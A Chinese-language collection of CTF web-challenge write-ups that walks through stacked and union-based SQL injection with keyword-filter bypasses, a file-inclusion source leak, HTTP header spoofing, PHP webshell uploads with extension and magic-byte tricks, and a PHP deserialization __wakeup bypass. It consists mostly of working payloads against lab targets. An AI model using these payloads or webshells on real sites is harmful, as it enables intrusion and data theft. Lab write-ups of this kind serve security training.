随便注
1
打开先 1' or 1=1#正常注入
进行联合注入1' union select 1,2,3#发现过滤许多关键字
于是想到了堆叠注入,这个注入条件非常有限,一般是执行多条才能够使用 1';show databases#
1';show tables#
1';show columns from words#
1';show columns from `1919810931114514`# 发现flag就在其中解释一下为什么用反引号(就是数字键1旁边的)因为当数字型字符作为字段,表,库查询时,应该用反单引号括起来输入得到
堆叠注入也无法避免使用之前被过滤的字符,利用char()方法将ASCII码转换成SELECT字符串,利用concat()方法进行拼接成SQL语句
PREPARE sql from '[my sql sequece]';预定义SQL语句
EXECUTE sqla; 执行预定义SQL语句
set @sql='flag';存储表名
ASCII码:
115,101,108,101,99,116
1';set @sql=concat(char(115,101,108,101,99,116),"* from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;
flag就出来了
接下来看
Secret File
打开后老样子查看源码,发现文件,两个页面进行抓包查找,一定要有耐心,发送到Re后send发现有隐藏的secr3t.php
然后打开进行审计代码
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
看到file,立刻想到尝试进行file伪协议
然后下面用base64解码flag就出来了
接下来看
LoveSQL
一眼SQL注入题目,上操作
1' or 1=1#
说明存在sql注入,进行下一步联合查询1' union select 1,2,3#
1' union select 1,database(),3#
爆出库为geek 接着进行爆表1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
爆出两个表geekuser,l0ve1ysq1,接着爆字段1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'#
接下来就是爆字段了1' union select 1,group_concat(id,username,password),3 from l0ve1ysq1#
复制到NOT打开拉出就是flag了
Http
打开后依然是图片,那么就是老样子检查源码
发现有Secret.php文件打开
关于这类http题目一般都是进行抓包,然后根据提示修改内容
手动添加:Referer:https://Sycsecret.buuoj.cn
提示使用Syclover,则继续修改成Syclove就好了
然后提示本地那就输入X-forwarded-For:127.0.0.1
就接出来了
Knife
打开页面是 eval($_POST["Syc"]);,
看到直接使用中国蚁剑连接,密码输入Syc,测试成功,在目录下寻找flag就出来了
Upload
打开网站是一个文件上传题目,于是编写一个木马
<?php
@eval(POST_['123']);
?>
显示没有图片,那就进行抓包修改变量
将Content-Type的类型修改为->image/jpeg,显示没有php,那就切换文件后缀
尝试修改到phtml时发现不允许有<?符号,那就改写木马
<script language='php'>@eval($_POST[shell]);</script>
修改完继续抓包修改参数结果出现这,那就是还没绕过成功,需要在前面加上GIF89a来绕过PHP getimagesize的检查
同样再次进行抓包修改参数,显示上传成功,那就该蚁剑操作了
一般文件长传都在upload目录下,就用/upload/filename连接就行,我这里使用了中文名好像报错了,于是我修改了成了text从新进行连接成功,密码就是木马里的post值
接着在根目录下打开就是flag了
[ACTF2020 新生赛]Upload
打开依旧是文件上传,继续使用text.phtml上传,发现需要后缀要求,就是前端检测,两种方法,打开f12删除checkfile,另一种先修改文件名后后抓包再修改成phtml
抓包修改就上传成功了
接着拿蚁剑连接http://c175a603-2d43-4ca9-8a18-4ae493cebb9c.node4.buuoj.cn:81//uplo4d/4a7fa3ee21d517c9d93f52e9834ed798.phtml 密码就是文件post内容
接着查看根目录下flag就找到了
BabySQL
打开就是lovesql升级版,提示已经过滤注入了许多,尝试后发现or被过滤,尝试双写绕过成功
尝试后发现or被过滤,尝试双写绕过成功1' oorr 1=1#
接着就是简单的SQL注入了,要注入被过滤的字符进行双写绕过
1' uunionnion sselectelect 1,2,3#爆字段数
1' uunionnion sselectelect 1,2,database()#爆库
1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()#进行爆表,因为注入不成功,所以一点一点尝试where和union、select、from等字段是否被过过滤进行双写过滤,
1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_schema='geek'#进行爆字段
1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd,id,username,passwoorrd) ffromrom b4bsql#进行爆值 flag就出来了
[极客大挑战 2019]PHP
打开就说有备份网站,但我尝试了好几个后缀没找到
常见的网站源码备份文件后缀:tar.gz,zip,rar,tar
常见的网站源码备份文件名:web,website,backup,back,www,wwwroot,temp
于是我就开始使用工具dirsearch -u http://784675f9-a135-409c-932c-04281cd4d512.node4.buuoj.cn:81/ -e php
-e是选择语言,因为题目是php,这个扫描也是很慢
打开扫描到的后缀是一个压缩包再次打开
有一段php代码,意思是包含了class.php文件,然后以get形式获取select函数,将select函数进行反序列化
那么思路就是编写脚本运行结果加在?select=后面
打开class文件
我们想要输出flag,在这有个条件是username='admin',在往上看就是password==100,
__wakeup函数会将username赋值为guest,还是在__destruct函数前运行,所以进行绕过
<?php
class Name{
private $username = 'admin';
private $password = '100';
}#目的为了确定admin和100值
$a = new Name;新建一个类
var_dump(serialize($a));#将其序列化打印出
?>
放到在线运行那
string(81) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}"
补充下知识点,在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup函数,所以把2->3就ok
payload就是:?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
运行发现不对,找到问题,在线运行时Name和username、password前都有个符号没复制过来,这里参观了下其他wp都是用%00代替解决了
再输入一下?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
就出来了